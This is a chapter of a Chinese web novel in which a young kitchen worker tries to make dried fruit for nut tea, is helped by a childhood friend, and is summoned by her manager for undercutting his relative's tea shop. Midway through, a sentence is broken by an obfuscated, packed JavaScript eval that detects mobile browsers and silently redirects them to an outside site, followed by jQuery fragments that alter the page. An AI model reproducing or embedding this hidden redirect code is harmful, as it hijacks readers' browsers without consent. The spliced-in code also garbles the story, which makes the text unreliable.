26. 及时雨

作品:《小油娘进京手札

    如苗蓁所言,楼里每日剩下的果蔬都不少,像梨、桃等水果都可用于制作蜜饯,而核桃、松子、杏仁类的坚果也不少,只是大多是单独食用的,入茶还得改一改烘烤的办法。


    苗蓁搬着一筐水果进院子时,金穗正在晒衣服,见状直呼:“你要茹素啦?”


    “我没事吃素做什么?”


    “这么多水果,你一个人吃的得完?”说完她又反应过来,“哦哦哦,该不会是……”


    金穗想起前几日与她聊楼里果仁茶的事情,眼前一亮,“陈管事对你也太好了,这么多材料,大手一挥,竟都给你了??”


    “怎么可能?这都是我买的。这一筐……二十文。”


    “买的?!”金穗手里的衣服差点掉地上,“好姐姐,你一个月才多少工钱?鼓捣这个干什么。再说了,这再怎么说也是楼里的活儿,你打工怎么还倒贴呀?”


    苗蓁沉默了一会儿,一脸认真道:“你说得好有道理,我怎么这么傻……但是,这些东西若是从外面买,只会更贵,我拿楼里的东西多了也不好。再说了,若是做好了,我们就留着自己喝嘛,”


    顾巧珍此时也从屋内出来了,看了看满筐的食材,道:“你是要琢磨着如何研制那果仁茶?”


    “正是。”


    顾巧珍目光一转,陷入思考,“那蜜饯或许还行,但是这果干我自己做过,得天气好的时候。可是眼下马上进雨季了,三天两头都是阴晴不定的。”


    “可外头干果铺子,这么多,也是一样的天气,他们怎么做的?”


    “好像是炭火慢烘,不是靠日头晒的。但我说句实话,这东西可不好弄,你可得心里有个数,弄砸了连果子都没得吃的。”


    苗蓁被顾巧珍直言直语弄得一愣,“你这么小瞧我?不就是几个果干,能有这么难?”


    难,太难了。


    事实证明,顾巧珍这样靠技术吃饭的人,从来不打诳语。


    后面几天苗蓁的生活,简直可以写成一本书《制作果干的一百种失败方法》。


    第一个难题:这果干到底该切多厚?头一次,她尝试切了半盘,薄如蝉翼,烘好后一咬,像是在嚼锯下来的木头片子。第二次,她切厚了一点,结果外头很干,里面还是脆的。最后一次最惨,炭火都用完了,只好尝试晒一下,结果那日天色阴沉,下了大雨……


    前前后后,加上炭火,拢共搭进去五十文。


    这样惨痛的经历,驱使苗蓁决定出门,到金穗说的那家周记茶铺探探门道。


    一进店,苗蓁差点还以为自己走错了,要不是满屋子果香,这倒真活像是个中药铺——一溜烟的木柜,一排排的抽屉……


    苗蓁假装闲逛,东瞅瞅西看看,然则心里已经扭捏起来——这毕竟是人家的饭碗,能轻易传给她吗?


    纠结几番,还是没能开口。


    她只好继续装,左看看右闻闻,时不时露出惊叹的表情,“嗯,这个好香……哇,这个也不错……”


    一个伙计从她身边路过几次,眼神逐渐狐疑,到底还是招呼了一声:“姑娘若是喜欢可以尝尝。”


    苗蓁连忙笑着回应。


    她一眼看到了紫黑的桑葚干,脑海里忽然冒出个人来——来嘉兴之前,陈青柯那小子塞给她一筐桑葚,当时她还满不在意,这会儿倒是想他了。


    要是她在就好了……


    她想着想着,走了神,竟一颗一颗地把桑葚干塞进自己的嘴里。


    “这位客官,”伙计不知何时走到她身边,“咱家的果干是佐茶的,您这么吃个吃法……”


    苗蓁脸一红,连忙缩回手。


    “哈哈,这也怪不着人家,我们家果子就是好吃,那有什么办法?”


    这话调笑间带着几分散漫,听着却有点耳熟?该不会……


    她猛地一回头。


    “陈青柯!”


    柜前站着的那个少年闻言转过身,眼睛一下睁大,两个人四目相对。


    “……苗蓁?”


    “你怎么在这?”


    “我还想问你呢。”


    伙计在一旁看得一愣,“二位认识?”


    “何止认识,这是我发小,从小玩儿到大的!”


    他说着,就把手上东西放下,冲伙计说道:“没事,她多吃几颗怎么了,回头我再给你带一包。”


    伙计干笑两声,识趣地离开了。


    苗蓁这才回过神来,放声道:“你,你是来送货的?怎么跑这么远,到嘉兴来了。”


    “最近订干果的人多啊。”陈青柯指了指那边的麻袋,“我爹知道,镇上那些商户都是收了我们的货,再转卖到嘉兴大赚一笔,坐不住了,让我直接给送过来。”


    他说罢,打量了一番苗蓁,人还是那个人,只是气色好像比从前好些了,眉眼间也多了些说不清的东西。


    “你胆子可真大啊!说走就走了,你知道苗姨有多生气吗?”


    “我娘她……这事儿我对不住她,可我也有苦衷。”


    苗蓁苦巴巴地把媒婆上门的事情说完,但思量一番还是没有将自己的身世疑云和那本诗集说出来。


    陈青柯是个男子,大概也不会明白,只似懂非懂地点点头。


    “这么说来,你要在这嘉兴长久待下去了?揽月楼……我能去看看不?听说那的酒菜一流。”


    “来啊,虽说我现在也就是个打杂的,可是请你吃顿饭,我还是请得起的。”


    “这可是你说的啊,那我可就不客气了。”


    “嘿嘿,我还怕你客气呢,”苗蓁笑得两眼弯弯。


    “这不对,苗蓁。你这副样子,反而还让我觉得你不安好心了呢“”


    “嘿嘿……”


    “有话直说……别吓我!”


    “怎么敢吓唬你呢,你可是我的‘及时雨’!”


    苗蓁领着陈青柯往揽月楼走。一路上,把她之前遇到的糟心事和要做果仁茶的事情都说了。


    “你是说,你想自己做做更香的果茶小料?”陈青柯听完眉毛一挑,“就这?”


    “你难道还嫌容易?”


    “不是我吹牛,你找我干这个,那可算是找对人了。”他咧嘴一笑,“不过这忙我可不白帮,东西做出来之前你得管饭,顿顿都要你们酒楼的特色菜。”


    苗蓁咬咬牙,“没问题。”


    苗蓁进楼就去找了田管事报备,只说自家兄弟来帮忙,几天就走。


    陈青柯一进后院,就被她那些失败品笑掉大牙。


    但干起活儿来倒是没含糊。他不是急着削皮烘烤,反而叫苗蓁找了些竹材和工具,编了一套烘烤的架子。


    苗蓁惊之时,他说:“就你那个破锅,底下火都烘不匀,能烘好了才怪。”


    接下来的几天,苗蓁算是开了眼,每个操作都令她惊叹。


    这几日苗蓁唯独担心的,是陈青柯一个外男,会引起金穗和顾巧珍的不自在。


    结果她想多了。


    三人相处不错,金穗充满好奇,问的问题五花八门——


    “你们俩关系这么好,为什么你家不把你许给苗蓁?”


    陈青柯被问得一愣,“兔子不吃窝边草。”


    “你为什么叫‘六六’”


    “我……行六啊。”


    “你们家那边人人都会做这个?”


    “也不是人人,就我家做这个……”


    “这个什么时候能好啊,苗蓁好不容易搬个救兵,不会又搞砸了吧?”


    陈青柯平时和苗蓁嘴贱惯了,但在刚认识的朋友面前,竟有几分拘谨,只好老老实实地答道:“姑奶奶们,马上好,马上好……”


    苗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210284|195485||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蓁在旁边看着笑得肚子疼。


    三天之后,第一批果干出炉。


    竹筛从架子上取下来的那一刻,满院子都是香气——不是那种冲鼻的甜腻,是果子原本的味道被温火慢慢逼出来,在空气中漫开。


    金穗冲过去吃了第一口,“感觉比外面的还好吃。”


    几人也跟着尝了几口,苗蓁盯着那筛子的果干,忽而有些眼眶发热。


    这几日的花费和付出,总算是值了。


    之前做的花瓣酱、果酱也好了,苗蓁尝试调配几种口味的茶,很好喝。为了调和众人口味差别,她还找了几个其他人试喝。


    谁承想,一日下午,几个厨房的娘子过来讨要,苗蓁给了。之后又陆续有人前来。


    苗蓁窘迫搓手,“材料我用完了,暂时……没钱买了。”


    “这还不简单?你就当我们是来和你买的不就行了。”一个娘子说道。


    话音刚落,一只手伸过来,往她手里塞了几个铜板。


    “这可是使不得。”苗蓁第一反应是拒绝。


    “如何使不得?这茶本就是你自己做的,材料也是你自己买的。没钱你后面怎么继续做?”


    苗蓁愣住,为难片刻,最终还是收下了钱,“那好吧……”


    晚上,苗蓁躺在床上,越想越不对劲儿。


    她是楼里的伙计,给其他人私自售卖东西,会不会有什么不妥。


    她转念又安慰自己,材料是自己买的,茶是自己做的,这钱有什么收不得的。这么一想,心里稍微踏实了一点。


    次日下午,苗蓁照例在点心房做事,一旁一个面熟的娘子挤到她身边,


    “苗蓁,昨日我尝了你做的果仁茶,真好喝,”


    苗蓁和她不太熟,只笑了笑,“喜欢就好。”


    “但有件事,我想不太通。外面就能买现成的,你费这么大劲儿自己做干嘛?”


    苗蓁把自己做茶的原因如实道来。


    “啊?……”娘子脸上的笑瞬间僵住。


    苗蓁看她神色不对,心里一紧,“这是……怎么了,有什么话,娘子您请直说。”


    “那芳记茶铺,是蒋掌柜家里亲戚开的。给咱们楼里供了多少年的货,但凡要用干果、果仁茶料子,都得从他家拿,这是老规矩了。若是你自己的茶做出来了,那这……掌柜竟点头了?”


    “什么?!”苗蓁脑子里轰的一声。


    就在这时,门口忽然来了一个人。


    苗蓁抬头,看见一个面色阴沉的中年男人站在那儿。


    “苗蓁,掌柜叫你。”


    一路上,苗蓁不敢说话,她几次想开口问是什么事,可是那人始终面色阴沉,一路上什么话都没说。


    芳记茶铺是蒋掌柜的亲戚开的……楼里的果仁茶一直是从他家拿的……


    那她这几天的行为,这在蒋掌柜眼中又会是什么?


    完了,这下真的完了。


    到了一间厢房的门口,那人停下,敲了敲门。


    “掌柜,人带到了。”


    门推开,苗蓁低头走了进去。她余光瞥见了站着的蒋掌柜,他是侧身的,看不起脸上表情,而他正对着的方向摆了一扇屏风。


    苗蓁顺势看去,一下看见屏风后面有一个人的身影,正端坐着。


    屋内陷入一阵诡异的沉默。


    苗蓁感觉十分窒息,再无法忍受,突然脚一软,扑通一声跪下,“掌柜恕罪!我不该私下做茶更不该妄想抢您亲戚的生意。”


    “苗蓁——”


    掌柜一声喝止。


    就在这时,她听见脚步声,从屏风后绕出来,一步一步,越来越近。


    一双黑缎面靴子停在她眼前。


    苗蓁不敢抬头,只看见那靴子的边沿绣着暗纹。


    “抬起头来。”